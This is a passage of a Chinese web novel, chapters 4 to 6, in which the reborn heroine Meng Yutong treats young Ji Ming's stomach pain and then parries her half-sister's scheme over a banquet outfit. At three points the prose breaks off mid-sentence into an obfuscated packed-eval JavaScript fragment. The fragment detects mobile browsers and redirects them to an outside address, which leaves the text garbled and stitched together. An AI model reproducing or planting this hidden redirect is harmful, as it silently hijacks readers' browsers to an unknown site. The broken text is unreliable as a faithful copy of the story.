这般想着,他左右环顾了一圈,见四周无人,便踮起脚凑在她耳边道:“姐姐,方才那小二哥说你们看上去关系不错,有件事须得告知姐姐,我兄长他……是定了亲的。” 他大约的误会什么了,孟玉桐觉得有些好笑,偏头望着他,也学他的样子低声道:“那可真巧,我也定了亲的。” 纪明闻言瞪圆了眼,连退两步,一张小脸皱成一团。两人皆有婚约,这情形反倒更教他忧心了 “纪小公子,我家姑娘姓孟,名玉桐。” 白芷心中腹诽,纪公子瞧着聪明睿智,怎么弟弟与他一点也不像,倒是个憨直性子。 “啊!”,纪明猛一拍手,恍然大悟,“原是孟家姐姐!早想见姐姐了,果然如我所想,貌若姑射仙子,温婉可亲!” 纪明一张小脸似乎比刚才更白了几分,呼吸也略显急促,但他只顾着说话,并未在意。 孟玉桐打量了他一眼,打断道:“你独自出来的?” 取香囊这样简单的事情,本来随意遣个人来做便好,纪昀将这事交给纪明,想来是嫌他在跟前闹腾,故意支使出来。 纪明摇摇头,朝对街招了招手,不多时便有个劲装青年快步而来,纪明喊他‘云舟哥’。这位与青书一样,是纪昀的贴身侍从。 青书寡言沉默,擅书画文墨,略通医理,云舟则活泼好动,武艺高强。 “时候不早了,纪小公子早些回府罢。”孟玉桐见有人同他一起,便与白芷告辞。 “孟姐姐再见!”纪明倒是有些依依不舍,朝着两人的背影用力挥手。 白芷心有困惑,轻声问道:“小姐为何不直接遣人将伞送到纪府?偏要绕道茶肆?” 小姐这般倒像是不愿与纪家多有牵扯似的,可明明昨日她的态度还不是这样的。 孟玉桐声音淡淡,“我同纪昀不熟,还是送回茶肆最好,免得引起不必要的误会。” 白芷闻言点头,如此说来倒也合乎情理。 两人才走出两步,忽闻身后传来一声惊呼:“小公子,你怎么了!” 孟玉桐与白芷闻声转过身,只见纪明倒在了茶肆门前的青石砖上,面色苍白,蜷成一团,小小的身子痛苦地痉挛着,正捂着肚子喊着疼。 4. 第 4 章 云舟神色慌张地将人扶起,紧张道:“小公子快醒醒。” 孟玉桐听见响动,见状折返回来,快步走近至纪明身侧。 她蹲下身,伸手往前,正欲探向纪明额头。 “且慢!”云舟横臂阻拦,袖中短匕寒光微现,“姑娘莫要靠近。” 白芷眼疾手快,也不管那雪亮的匕首,伸手‘啪’地打落他提刀的手臂,急道:“我家小姐精通医术,好心替你家公子看看,你拦什么?” 云舟动作一滞,他手中还拿着匕首呢,这小丫鬟还真是虎。 他又将信将疑地看向孟玉桐,只见她神色坦然,耐心解释:“我家中经营药材生意,跟着学过一些岐黄之术,你若是信得过,便让我看看吧。” “疼……”,纪明蜷缩在云舟怀中,面色煞白,捂着肚子叫出声。 云舟心头焦灼。此处离济世堂尚有两街之距,徒步而去少说也得两炷香的功夫。 可眼下小公子腹痛,怕是撑不得许久……他咬牙权衡片刻,终是侧身让开:“那便劳烦孟姑娘看看,小公子方才还精神着,走动了两步,突然就疼得直不起腰。” 孟玉桐颔首,伸手搭上纪明腕间。 脉象沉紧如绞索,寸关尺三部皆涩。 她松开手,再探其腹,中脘穴处硬若顽石,天枢四周筋肉板结,是寒邪直中太阴的症候。 想来又是贪嘴惹的祸。 她眸色微凝:“他来茶肆前吃了什么?” “出门前吃了些府中的茶点,有蟹粉酥、豌豆黄、芝麻酥糖等。方才又在摊子上买了些酸梅果脯,还喝了碗冰饮子……”说着说着,云舟的声音也渐渐弱了下来。 小公子一向体弱脾虚,公子让人格外照看他的饮食,不许他胡乱吃喝。 故而每次到了外头,他便什么也想吃。他实在耐不住小公子,只好睁一只眼闭一只眼。 孟玉桐轻叹:“这便是了。蟹肉咸寒伤脾,梅子酸收敛邪,又佐以冰饮,三寒相叠。纪小公子素来脾阳不足,哪经得起这般克伐。” “我这就送小公子去医馆。”云舟自责不已,抱起纪明就要起身。 “且慢。”孟玉桐拦住他,“车马颠簸,反而加重病情。你先带他去前面聚福客栈暂作安置,余下之事交予我便是。” 云舟踌躇不定。方才这孟姑娘诊脉手法娴熟,连小公子体虚之症都一语道破,可见确有些本事。 可她终究是个闺阁女子……就这样将小公子交给他,他难免有些不放心。 孟玉桐见他迟迟不动作,眉头微微皱了皱,起身让开一条路,“你既然信不过我,不如快些带他去济世堂,也好过在这傻站着浪费时间。” 正僵持间,纪明悄悄扯了扯他衣襟,气若游丝道:“云舟哥,就听孟姐姐的……我相信她。” 纪明觉着自己周遭冷冰冰的,没什么力气,可他还是从云舟怀里仰起头,勉力朝孟玉桐投去一道虚弱的笑。 不知怎的,今日虽是第一次见孟姐姐,但总觉得熟悉,让人很想亲近…… 白芷急得跺脚:“还愣着做什么,快送去客栈啊!” 云舟这才如梦初醒,抱着纪明疾步奔向聚福客栈。店小二见几人神色慌张,忙引至二楼厢房。 待云舟将纪明安顿在榻上,孟玉桐让小二取来笔墨,在一旁写下一张药方。 “云舟公子,劳烦你去药肆抓些药——炒白术五钱、砂仁三钱、焦山楂四钱,再带一罐蜜来。”她顿了顿补充,“若见着鲜紫苏叶,也捎些来。” 云舟抱拳应下,转身匆匆离去。 待云舟离去,孟玉桐向店小二讨来艾条,就着火折子点燃。 艾烟袅袅升起,她示意白芷将艾条悬在纪明关元穴上方三寸处,自己则执起纪明绵软的手,拇指抵住合谷穴,力道均匀地揉按起来。 “疼……”,纪明迷迷糊糊地哼了一声。 “忍一忍。”她手上力道不减,声音却放得轻柔,“你贪嘴时怎么不想想会疼?” 一根艾条燃尽,纪明惨白的小脸总算有了血色。 孟玉桐松开他已被按得发红的手,目光落在他汗湿的额头上——细密的汗珠沾湿了碎发,黏糊糊地贴在肌肤上。 她皱了皱鼻子,顺手扯过纪明的袖口,在他脸上囫囵抹了两把。 “小姐!”白芷瞪圆了眼睛,“奴婢去取块帕子来便是,您怎么……” 多埋汰啊。 “这不就干净了?”孟玉桐挑眉一笑,指尖弹了弹纪明恢复些血色的脸蛋,“说起来也是他自己的汗,哪有这么多讲究。” 白芷忽然愣了愣,仿佛第一次认识自家小姐。 眼前这个笑语晏晏的姑娘,与记忆中那个连衣袖沾了灰都要立刻拂去的端庄闺秀判若两人。 “小姐今日......”白芷欲言又止,心底掠过一丝奇异的感觉,仿佛小姐身上某种无形的沉重的枷锁,悄然撤下了。 “嗯?”孟玉桐正揉着发酸的手腕,闻言抬眸。 “没什么。”白芷摇摇头,觉得自己好像有些想多了。小姐应当只是救人情急罢了。 “对了小姐,方才一时情急,奴婢说了您会医术的事,要是被老夫人知道了……” 孟玉桐指尖一顿。她眸中似有暗流涌动,转瞬又归于平静。 “救人一命胜造七级浮屠。”她垂下眼,声音温柔轻缓,安慰道:“祖母最是明理,不会怪罪的。” 祖母昨日去了庄子上查看药材,她记得祖母这次会在庄子上呆上六七日。 孟玉桐轻轻转动着手腕,最好趁这几日好好想想未来的打算才好。无论是退婚还是开馆,都绕不开祖母点头。 白芷闻言这才放下心来。 说起老夫人,那真的是个很奇怪的人。 老夫人右颊上横亘着一道狰狞疤痕,自眉骨斜贯至耳际,又深又长。 她性子冷硬如铁,行事狠厉,府中上下无人敢亲近。 偏生就是这样一个女子,在老太爷去世后以一己之力撑起了孟家偌大的药材生意。 她还记得夫人去世那一年,小姐日日都哭,哭得眼睛都瞧不见了。 秦姨娘假惺惺要来接人去海棠院,小姐不愿,将自己反锁在房中,三日水米不进,小小的人瘦成了竹竿子。 那日老夫人破天荒踏进杏桃院,逆光站在床前,影子将瘦弱的小姐整个笼罩。 老夫人问小姐:“你母亲死了,你自己的日子也不过了?” 小姐小小的身影蜷缩着:“阿娘死了,我也不想活了。我前日想跳池塘,可那里头水太浅,淹不死我。 “我想上吊,但是房梁太高,我够不着。一头撞死或许比较省事,可我又有些怕疼。后来想了想,还是饿死比较好。” 她舔了舔干燥的嘴唇,继续说:“祖母,我已经饿了三日了,最多再有两日,我应该就能见到阿娘了吧。” “就没有什么想做的事情?” 即便是听了孙女想要寻死的话,老夫人也依然严肃冷硬,不为所动。 小姐愣了愣,过了很久才说:“我想学医。” “我可以教你。”老夫人突然伸手抚上自己脸上的疤痕,不知在想什么。 白芷仿佛看见老夫人的指尖微微抖着。 “嗯?”小姐大概是饿晕了,她已经有些听不清老夫人说的话了。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16127363|180116||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “阿萤。”这是老夫人第一次唤小姐乳名,“就把我当做你在这世上最后的牵绊,往后好好过日子吧。” 奇怪的老太太在杏桃院说了一番奇怪的话。 更奇怪的是,小姐渐渐好起来了。 从那之后,她日日按时用饭,按时晨起,按时给老夫人请安,接着便在老夫人的松风院里呆上一整日,到晚上才回来。 老夫人教导小姐医术,却从不许她在外人面前展露。 小姐问过缘由,她记得老夫人是这样说的:“女子学医、习武,练一身本领,可这本领是利己的,对男人们没用,说出去反倒被人指着鼻子说‘离经叛道’。 “我对你没别的指望,日后嫁人,做个温婉贤淑的主母便好。平庸些也无妨,只要你持家娴静,日子必定顺遂平安。” 老夫人自己便是个‘离经叛道’的奇怪女子,可她却坚信,只有懂事听话的女子才能嫁到好人家,过上幸福的生活。于是执意要将孙女培养成符合世俗标准的大家闺秀。 “孟姑娘,药买来了!”云舟风风火火地撞开门,怀中抱着的药包哗啦啦散落在桌上,他也顾不上去管,抹一把额上的汗珠和不知何时蹭上的尘土,急吼吼地问:“我家小公子如何了?” 白芷被这动静惊得一个激灵,回过神来,颇嫌弃地看他一眼,“你这莽汉,小公子刚见好,倒要被你吓出个好歹来。” “云舟哥……”纪明揉着眼睛从榻上支起身子,面色已恢复了些,“我没事了。” 云舟悬着的一颗心这才放下,转向孟玉桐时眼中满是恳切:“姑娘现在该怎么办?” “你将人扶好便是。” 孟玉桐走到桌前,挽起衣袖,她让白芷将药包一一拆开,先将砂仁与焦山楂用温水泡出汁液,混着荔枝蜜调成琥珀色浆汁,又将鲜紫苏叶搓出汁滴入碗中。 “紫苏解蟹毒,蜜糖护脾胃。”她将药碗递给云舟,“趁温热服下。” 云舟接过药,舀一勺送到纪明嘴边,纪明迟疑地抿了一口,忽地睁大了眼睛:“……甜的?” 他不可置信地又尝了一口,眼中一亮,“这世上还有甜的药!” 要知道在纪府,每次喝药都像受刑一般。 兄长开的方子虽见效快,可那滋味他真是一想起就头皮发麻。 眼前这碗药汁却截然不同,不仅清甜怡人,还带着淡淡果香。 纪明当即捧起碗来,咕咚咕咚喝了个干净,末了还意犹未尽地舔舔嘴唇:“孟姐姐,这比兄长开的汤药好喝一百倍!” 云舟看得目瞪口呆。往日里要哄上小半个时辰才肯喝药的小祖宗,今日竟这般爽快? 见纪明喝了药,面色也好转许多,孟玉桐拢了拢衣袖,向两人道别。 “既然纪小公子已无大碍,我们便先告辞了。” 云舟见状赶忙起身,朝孟玉桐郑重地行了一礼,“今日多谢孟姑娘。” “孟姐姐,等我好些了,我一定让兄长带我去你府上好好道谢。还要让他跟姐姐学学,怎么把药配得这么可口!” 白芷闻言“噗嗤”一笑。 孟玉桐原本柔和的面色却似闪过一丝冷色,她缓缓道:“今日不过是举手之劳,昨日你兄长雨中施伞,便当我还他一个人情,不亏不欠,也就不必挂怀了。” 她语气平淡,带着明显的疏离。说罢,不再看纪明瞬间失落的小脸和云舟感激的眼神,径直转身往屋外走。 ‘不亏不欠’,白芷总觉着这话听着怪怪的,不像是该对未来夫君说的。 晃神间,孟玉桐已转身离开。 “小姐等等我。”白芷摇摇头,顾不上细想,飞快跟了上来。 5. 第 5 章 纪府,暮色四合时分,天光渐隐。 书房外,一丛湘妃竹被晚风轻拂而过,青翠的叶片在茜色的残照里簌簌低语,影子印在窗纱上,如水墨般灵动地游移。 案头尚未掌灯,只见一青衫拓落的年轻男子正伏案疾书。 将尽的夕光透过窗纱,在他铺展的宣纸上筛下斑驳摇曳的竹影。 执笔的手顿了顿,墨迹在纸上洇开一小片。 “公子,”侍立一旁的面容清秀的侍从轻声道,将一盏刚沏得的热茶捧至案边,“您在慈幼局操劳了整日,且饮盏茶,稍歇片刻吧,免得牵得肩背寒痛又发了。” 纪昀放下笔,端起茶盏饮了一口。 茶汤袅袅而起,白色的烟雾环在他清润的眉眼间,好似山涧寒潭里浸着的一块玉,清冷矜贵。 “青书,这几日春寒料峭,慈幼局那些孩子身子骨都不太好,你按这方子明日去医官院领些药送去,免得让他们染上寒气。” 青书上前收起桌面上的药方,躬身应是,却见自家公子忽然抬眸:“纪明回来了?” “回公子,小公子已经回了,好像是有些累了,在屋中休息。” “累了?”纪昀眉尾微挑,显然不太相信。 白日纪明出门前还活蹦乱跳的,这一会儿的功夫就累了,定是又闯了什么祸,心虚不敢来见他。 纪昀慢条斯理地起身,随手拿起桌边放着的药箱往外走,“走吧,随我去瞧瞧。” 两人一路行至纪明寝屋外,隐约听见里头传来窃窃私语。 “云舟哥,今日的事情你千万别同我兄长说,他若是知道了,又得罚我了。” “小公子,你就莫要为难小的了。公子慧眼如炬,怎么可能瞒的过他,您还不如早些坦白,或许责罚还能轻些。” 青书重重咳了一声,抬手敲门,“小公子,公子来看您了。” 屋中那两道声音戛然而止,两人等了几息,才见云舟脚步匆匆上前来开门,将两人请了进去。 纪明背对几人躺在床上,锦被盖住大半身子,声音低低的,“兄长,我有些累了,有什么事明日再说吧。” 纪昀缓步走到床边,瞧见纪明外裳未褪,鞋子散乱地摆在床下,缩在被子里的身子格外紧绷。 他眉眼微沉,视线落在锦被下露出的纸黄色药包一角上。 “拿出来。”声音冰冷无波。 三个字冻得云舟膝盖发软,云舟抬起袖子擦了擦额上的汗,只好上前抽出纪明藏在被下的药包,并着孟玉桐开的药方一起递到了纪昀手里。 “公子恕罪!小公子今日贪嘴吃了些外头的吃食,腹痛发作,幸得孟玉桐姑娘相救……” 待听完来龙去脉,纪昀掂了掂手中药包。打开一角看了一眼,药香清甜,与寻常苦药大不相同。 再展开药方一看,纸上写的是簪花小楷,字迹娟秀,方子用的都是寻常药材,配比却别出心裁,竟将苦涩的药汁调得清甜适口。 他摩挲着手上的药方,孟家姑娘一介商贾女,这手医术却不像寻常闺秀所学。尤其这紫苏配蜜的法子,独辟蹊径。 药效虽不如普通方子那般好,却在保留药性的同时又兼具口感,对于纪明这般厌恶吃药的孩童而言,倒是极好的方子。 纪昀眼前忽然浮现出昨日大雨忽至,茶肆檐下与孟玉桐偶遇的情形。 雨声嘈杂,她安静靠在墙角,一身烟青色纱裙,似要与洇洇水汽融为一体。便如这浅淡雨色一般,是稍不注意就能忽略掉的一抹颜色。 可又偏偏生了一双明丽清灵的眼,像是水墨画卷中点睛的一笔,眼波流转之间,那抹颜色就活了过来。 她会医术? 纪昀眉心微动,将手中的药包与药方递给云舟,看向床榻上慢吞吞坐起来的纪明,“这几日不必出门了,将这些药喝完。” “吩咐小厨房,一月之内不要给他做任何点心。” 云舟连忙应是。 纪明努努嘴,脸耷拉下来,“兄长,一月也太长了,半月行不行?” 纪昀冷冷盯着他,八风不动,张口吐出冷冰冰的几个字:“那就两月。” “就一月,我觉得一月挺好的!”纪明往前拉住他的手,急忙应下。生怕他不同意,又从怀里掏出香囊塞进纪昀手里,“兄长,你看我把你的香囊取回来了。” 纪昀望向自己手中,除了他昨日落茶肆的蓝色香囊之外,还多了一只粉色的。 素面粗针,做工不甚精细,味道却清淡宜人,闻来舒心。 “呀,这只香囊莫不是孟姐姐的?定是今日嘈杂,她不甚将自己的香囊也带出来给了我,”纪明坐直身子,往前探身想将那粉色香囊取回来,“兄长,你把它给我吧,我改天去还给孟姐姐。” 纪昀面无表情地抽回手,不着痕迹地往后退了一步,“方才忘了说,这两月除了学堂,你哪儿也不准去。” “怎么又成两月了,兄长我下次再也不乱吃东西了,你就饶过我这一次吧。”纪明哭丧着脸求情。 “三个月。”纪昀淡淡打断,眼风扫过,纪明立刻噤声,蔫蔫地缩回被中。 云舟悄悄扯了扯他的袖子,低声道:“小公子,你就应下吧,不然若是夫人知道了,只怕罚得更重。” 纪明闻言脸色变了又变,干脆仰头又躺回了床榻上,扯起锦被将自己罩住,不愿再说话了。 云舟随纪昀走至门边,从墙角拿起一把油纸伞递过来,“公子,这是孟姑娘今日准备放在茶肆还给您的伞,她让小公子一并带了回来。” 将伞放在茶肆还给他? 倒是避嫌得紧。 他微微垂眸,青书见状将伞接过,又看向纪昀手中的香囊,他察言观色,轻声道:“公子,这香囊是否需要小的送回孟家去?顺带也可以送些谢礼给孟小姐,只是不知道孟小姐喜欢什么。” “不必。”纪昀打开随身带来的药箱,将手中的香囊放在了箱子的隔层之中,“母亲寿宴在即,她自会前来。” 况且这位孟家小姐看来是极注重名声的人,如此冒昧登门道谢反倒不妥。 纪昀转头吩咐云舟道:“今日的事情也不必同父亲母亲说,母亲近日瞧着心情好了许多,省得她又多思虑。” 云舟连忙应下,几人从纪明房中离开。一路往外走时,云舟下意识问出口:“自那事之后,夫人已有八年未曾办寿了,怎么这次……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16127364|180116||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 青书默不做声,瞪了他一眼。 云舟停下话头,望见纪昀陡然变冷的神色,此时后知后觉自己所言不妥,于是连忙垂下头拱手道:“小的失言,请公子责罚!” 纪昀冷白的指尖轻轻搭在医箱上,眼神淡漠地从云舟身上扫过:“既然知道失言,那便去领二十杖吧。记住,有些事,不该提的,永远都别提。” “小的这就去。”云舟额上沁出些冷汗,忙不迭离开去领罚。 八年前的那件事,是整个纪家,尤其是公子的禁忌。 这八年间,府里无人敢提。许是时间过去久了,近日竟连夫人也开始有所转变。 这便给了云舟错觉,好似那件事随着时间的推移也逐渐被遗忘了似的。 可青书却明白,那事在公子心中,永远也没法过去。 公子面上看着冷淡难以亲近,却不是那般爱计较苛责的人,只是有的事情却是禁忌逆鳞,轻易触碰不得。 青书在心中微微叹口气,云舟这般莽撞又口无遮拦,于他而言,或许挨顿板子也不是坏事,至少能长点记性。 * 夜色渐深,黑色天幕中飘过几缕流云,将弯月遮住。 月色笼罩下的纪宅,万籁俱静,连风也轻柔,怕搅扰了安睡之人的美梦。 梧桐院中的寝榻上,纪昀闭着眼,眉头紧锁。微凉的夜风从未关紧的窗子缝隙吹进来,撩动床帘。 “不……” 一片黑暗中,榻上人猛然惊醒坐起,额角渗出冷汗,手指紧紧攥住被褥。 冷汗浸湿的寝衣贴在背上,被夜风一吹,泛起阵阵凉意。 纪昀闭了闭眼,再睁开时,眸中已是一片清明。起身点灯的动作依旧从容冷静,仿佛方才的失态从未发生。 他支起屋中的直棱窗,窗外竹影婆娑,风吹过来,让人清醒几分。 他总是睡不好觉,夜里多梦,每每夜半惊惧交加醒来,便在窗前看一看这丛竹影,心里便觉得安宁许多。 只是今日却有些不同,除了惯常的梦魇,还多了道模糊的身影——是个女子轮廓,始终看不清面容。 醒来时,心口莫名感觉空了一块。 “荒唐。”他轻嗤一声,指尖在窗棂上收紧,骨节泛白。 这般奇怪的失控之感让他有些不安,他不再去想那梦中的场景,缓缓转身走到榻边,只见香炉里的安神引已经燃尽了。 他便打开一边的药箱,想拿出宫中静岚轩送来的香,却见箱中空空。 他用量愈发大,这香原是已经用完了。 他按了按额心,神色倦倦。总是睡不好,记性越来越差了。 正要将药箱关上时,瞥见那抹粉色素锦香囊静静躺在箱中,散发着若有似无的桃花香。 香囊其貌不扬,香味却恬淡宜人,淡淡的桃花香混合松木香气,还有几分说不上的甜苦味道,似乎亦有安神舒缓之效。 才放了半晌,药箱里都是这个味道。 纪昀修长的手指顿了顿,终是将香囊取出置于药箱之上。药箱就摆在床头的小案上,躺在榻上,也能闻到丝丝缕缕的香气。 后半夜,竟一夜无梦,安睡至天明。 6. 第 6 章 “天色晴明——” 清晨,临安各寺庙的头陀敲着木鱼儿沿街报晓。 晨光透过雕花窗棂洒进屋内,杏桃院里的海棠开得正好,粉白花瓣被风一吹,簌簌落在窗台上。 孟玉桐一早便起来了,此时正在屋子里忙忙碌碌,四处翻找。 她搬出几只檀木箱子,搁在床榻上,自己则跪坐在床榻边,将妆匣里的首饰一件件取出: 一对羊脂玉镂雕岁寒三友镯是及笄时祖母所赐,一支金累丝嵌瑟瑟石双股簪,一副珍珠珊瑚璎珞则是母亲留下给她的。 母亲留下的首饰上,都带有秦州独有的花草木纹样,草木缠绕之技法高超,一眼便知是出自同路。 这几样首饰倒是珍贵,不过于她而言意义也非凡,是不能轻易变卖的。除了这几样外,其余的首饰倒不值什么钱,她便将这些一一又放回檀木箱。 将另一只小匣中的银两会子倒出来清点,其中主要是靠月银和赏钱积攒下的一些私房,大约有五百多两。 她垂眸思索着,昨日回府时让白芷顺道打听了下外头街铺的租金,若是御街上位置好些的地段,年租大约要五六百两。她手上这些钱,只怕用不长久。 “嬷嬷,母亲从前替我攒了些银子,你可知有多少?” 桂嬷嬷思忖半晌,“夫人从秦州来时,带的嫁妆便不少,这些年在临安帮着府中经营亦攒下许多银钱,少说三四千两也是有的。 “只不过如今府里的开销用度都由秦姨娘把持着,那笔钱非到小姐出嫁的时候是不会拿出来的。” 孟玉桐闻言眸光一亮,随即又沉默起来。 母亲是陇西秦州人。当年父亲去秦州收药材时遇险,被母亲所救,两人一见倾心。 母亲随父亲回临安时,带了几箱秦州的金饰玉器做嫁妆。 听说外祖家也是做生意的,只是山高路远,这些年早断了联系。 上一世孟玉桐出嫁时,嫁妆钱几乎都是由祖母亲手操办。她曾向秦姨娘问起过母亲给她留的嫁妆,秦姨娘却说是母亲并没留下什么钱,她便没再过问。 想来这笔钱早就入了她的口袋了。 前世秦姨娘趁她病重打那些龌龊主意,连母亲辛苦攒下的钱也敢私吞,这一回,说什么也不能让她得逞。 “姑娘可是遇上什么难事了?”桂嬷嬷瞧着孟玉桐眼神沉沉,半晌没言语,忍不住轻声问道。 孟玉桐眼睫一颤,旋即漾开一抹浅笑:“嬷嬷别担心,不过是闲来盘算盘算,心里也好有个数。” 话音未落,白芷已脚步匆匆地进来,手里托着一张精致的洒金帖子:“姑娘,纪家打发人送来的请柬,说是后日纪夫人寿辰,请您过府赴宴。” 孟玉桐接过那帖子,指尖触及微凉的纸面,眸色微顿。 从前可没有这么一遭。 她分明记得,嫁入纪家后,那位婆母长年累月闭门清修,诵经念佛,便是年节也难得露上一面。如今怎会忽然大张旗鼓地办起寿宴来? 桂嬷嬷已急道:“哎哟!这纪夫人往年从不过寿的呀!偏生老夫人还在庄子上盯着那批药材,归期也没个准信儿。 “这寿礼可怎么备?秦姨娘那边定然紧着二姑娘的风光使劲,咱们院里可如何是好?要不,赶紧派人去庄子上寻老夫人拿个主意?” “不必惊动祖母,”孟玉桐起身走到桌前,提笔蘸墨,在纸上飞快写下一张方子,“白芷,按这方子去抓一些药材来。再买些上好的锦缎布料,颜色就挑浅碧或天青的,纹样要清雅一些,梅兰松柏之类的最好,回头做一个香枕。” 白芷应下,拿着方子利索地出了门。 笔尖还未搁下,门外传来一阵香风。 孟玉柔扶着丫鬟的手进来,一身鹅黄襦裙衬得她身段婀娜。 她生得一张容长脸儿,细长的眼睛微微上挑,不做表情时,看上去也是一张笑脸。 “姐姐这是在忙什么?”孟玉柔目光扫过桌上散落的银两,唇角翘得更高,“姨娘让我给姐姐送寿宴的行头来。” 她身后丫鬟捧出一套衣裳,是一套暗紫色遍地金大袖襦,绣着大朵的牡丹团花,配一顶赤金累丝镶红宝的头冠,阳光下晃得人眼花。 时下闺秀们皆以清雅为贵,这般打扮,分明是要她出丑。 “替我谢过姨娘,”孟玉桐浅笑接过,指尖抚过那金线密绣的衣襟,漫不经心道:“不过纪家是清雅人家,祖母与我说过,纪公子喜爱素净珍奇的草木纹,这牡丹是否艳丽了些?” 孟玉柔闻言眸中一亮,立马上前亲热地挽住她:“哪里的话,牡丹大气明丽,更衬姐姐,后日姐姐可一定要穿呀。 “听说纪家大公子也会出席呢。说起来,姐姐还未见过纪公子吧,你们两呀合该见一见了。” 孟玉桐喜静,从前外头的宴会席面她很少去,再加上秦姨娘面热心冷的,她不愿与她打交道,便都是由秦姨娘带着孟玉柔出去。 “妹妹对自己未来姐夫的事情,好像格外关注?”孟玉桐淡淡将手抽出来,不冷不热地回她。 “姐姐哪里的话,我这也是关心姐姐。” 孟玉柔面色一红,细长的眼中闪过一丝恼意,随即又堆起笑:“妹妹不过是想着,纪公子那样的人物,姐姐若能早些相看,也好……”她故意顿了顿,帕子掩着唇角,“免得日后……” “免得日后什么?”孟玉桐抬眸,眼中噙着淡淡的笑意,却让孟玉柔莫名心头一紧。 她故意将话说得含糊,就是想要孟玉桐心中不快,最好能在纪家人面前显露出来,好叫他们看见孟玉桐其实是个小气善妒的人。 照孟玉桐的性子,她定是要在心里悄悄琢磨留下心结的。 却没想到她今日与往常倒是不同,竟这般直接的问了出来。 “哎呀,瞧我这张嘴。”孟玉柔假意轻拍自己的脸颊,“姐姐别往心里去。只是……”她凑近几分,压低声音道:“听说纪公子性子冷得很,寻常姑娘都近不得身。姐姐这般娴静的性子,怕是讨不得纪公子欢心呢。” “妹妹倒是打听得很清楚,”孟玉桐慢条斯理地抚平袖口褶皱,“看来秦姨娘没少费心。不过我劝妹妹一句,少盯着别人一些,妹妹自己的婚事还没相定吧。” 孟玉柔脸色微变,细长的指甲不自觉地掐进掌心。 她最恨孟玉桐这副云淡风轻高高在上的模样,明明是个没娘护着的,偏生总端着嫡女的架子。 “姐姐说笑了,”她强撑着笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16127365|180116||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意,“姨娘也是为姐姐着想。” 孟玉桐指尖轻抚过那顶赤金头冠上的红宝石,忽地轻笑一声。 原来从这时起,孟玉柔就存了这样的心思。 可惜她算错了一着,纪家重诺,既定了亲事断不会反悔。前世即便纪昀心有所属,不也照样娶了她? “玉柔妹妹。”她忽然抬眸,眼中澄澈如镜,“你我姐妹多年,今日不妨说句体己话。” 她将头冠轻轻放回锦盒,“这桩婚事,我亦是身不由己。你若有意,能说动祖母退亲……” “姐姐莫不是拿我当三岁孩童哄?”孟玉柔细长的眼睛眯起,帕子掩着嘴角讥诮的笑,“纪家门第显赫,纪公子更是疏朗清隽,世间无二,”她忽然顿了顿,“姐姐这般推拒,莫非心中另有良配?” 暮春的风掠过窗棂,吹得案上医书哗哗作响。 孟玉桐伸手压住书页,窗外一缕天光斜斜映在她舒展的眉宇间,衬得她眸色清透如琉璃。 “妹妹觉得,女子为何要嫁人?” “自然是……”孟玉柔被她沉静的目光慑住,下意识道:“寻得良人倚仗,谋一世安稳。” “靠山山倒,靠人人跑,”孟玉桐起身,推开窗棂,春日的风裹着海棠香涌进来,“你瞧这株海棠,它可需要倚靠谁才能开花?” 孟玉桐指尖接住一片飘落的花瓣,“真正的安稳在这里——”她悄然攥紧掌心,“在自己掌中。” 孟玉柔怔在原地。眼前人明明穿着半旧的青色衫子,发间只插一支素银簪,此刻却像披着漫天霞光,令人挪不开眼。 被她一番话惊住,孟玉柔嗤道:“照姐姐的意思,是不打算嫁人了?” 这般离经叛道,也不知孟玉桐这些年在祖母跟前都学了些什么? 孟玉桐莞尔一笑:“这就不劳妹妹操心了。后日我定好生打扮,绝不辜负姨娘心意。” “那妹妹就不打扰姐姐准备了。”见孟玉桐答应穿那身衣裳,孟玉柔心中暗骂了一声蠢,随即敷衍地福了福身,转身走了。 离开的步子比来时快了许多。 桂嬷嬷望着她的背影,不免有些忧心:“姑娘真打算穿那身衣裳?老奴瞧着那二姑娘没安好心。” “穿,怎么不穿,”孟玉桐唇角微扬,“不仅要穿,还要敲锣打鼓地穿。” 顺便让秦姨娘将母亲的嫁妆吐出来才好。 桂嬷嬷望向神色泰然的孟玉桐,心情却有些复杂,总觉着眼前的小姐好像与之前有些不一样了。 她似乎不打算按着老夫人喜欢的方式行事了。 她想要打破老夫人为她谋划好的现状? 她从前最听老夫人的话,老夫人替她定下与纪家的婚事时,她甚至连纪家是哪家人家,纪公子时何许人都不知道,可即便如此,她还是想也没想就应下了。 夫人还在时,小姐心中最看重夫人。 夫人走后,小姐心中最尊重老夫人。 可今日听她一番话,小姐如今,心中好像什么人也没有了。 桂嬷嬷心底掠过一丝忧虑,小姐不打算倚靠老夫人了? 可看着小姐眉宇间从未有过的松快与光亮,桂嬷嬷一时间又不知道,这究竟是好事还是坏事了。 7. 第 7 章 